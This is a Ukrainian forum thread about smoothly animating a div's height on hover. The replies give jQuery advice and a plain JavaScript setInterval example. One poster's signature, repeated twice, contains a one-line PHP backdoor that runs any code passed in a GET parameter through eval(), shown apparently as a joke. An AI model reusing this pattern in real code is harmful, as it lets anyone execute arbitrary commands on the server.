1

Тема: Як зробити плавну зміну висоти блока?

Хай. Тре зробити, щоб при наведені на деякий блок, він плавно змінював свою висоту, transition в CSS працює не так, як треба, там якийсь гогаль могаль виходить. Так от, я думав, що то все легко, просто повісити функцію на подію mouseover чи там mouseenter, і змінювати в циклі висоту. Спочатку я зробив, щоб лічильник збільшувався на 1, але то дуже швидко, а потім зробив, щоб на 0.1, і це теж не ок. А потім почав гуглити функцію Sleep для JS, і там нічо норм не знайшов, та й не дуже шукав, коли побачив, що там роблять якісь костилі за допомогю дати. Так от, як зробити плавну зміну висоти блока при наведені на нього мишки?

Говоріть українською! Живіть українською! Відчувайте українською!

2

Re: Як зробити плавну зміну висоти блока?

jquery animation

3 Востаннє редагувалося Invader (27.12.2013 22:29:58)

Re: Як зробити плавну зміну висоти блока?

Використовуй jQuery Отак:

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<title></title>
<script type="text/javascript">
window.onload = function () {
    var aaa = document.getElementById('aaa');
    var height;
    var atm;
    aaa.addEventListener('mouseover',function(){
        atm = setInterval(function(e){
            //height = aaa.style.height.replace(/\D/g,'');
            height = parseInt(aaa.style.height);
            height += 1;
            aaa.style.height = height + 'px';
            if (height > 200) {
                clearInterval(atm);
            }
        },100);
    },false);
}
</script>
</head>
<body>
<div id="aaa" style="background-color:red;height:20px;">
</div>
</body>
</html>

треба клацнути по червоному.

PS
Відредагував код.

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!
Подякували: FakiNyan1

4 Востаннє редагувалося Invader (27.12.2013 22:27:31)

Re: Як зробити плавну зміну висоти блока?

Але вона якась трохи дьоргана.

PS
Ще забув написати що значення може бути не в пікселях і тому не px потрібно буде додавати.

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!
Подякували: FakiNyan1

5

Re: Як зробити плавну зміну висоти блока?

Invader написав:

Але вона якась трохи дьоргана.

PS
Ще забув написати що значення може бути не в пікселях і тому не px потрібно буде додавати.

да то я знаю, що не пікселі

Говоріть українською! Живіть українською! Відчувайте українською!